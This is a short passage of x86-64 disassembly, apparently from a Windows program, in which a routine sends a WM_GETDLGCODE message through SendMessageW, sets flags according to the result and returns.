xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageW]
bt rax, 0xd
jb 0x14000dbc7
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x14000dbd0
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret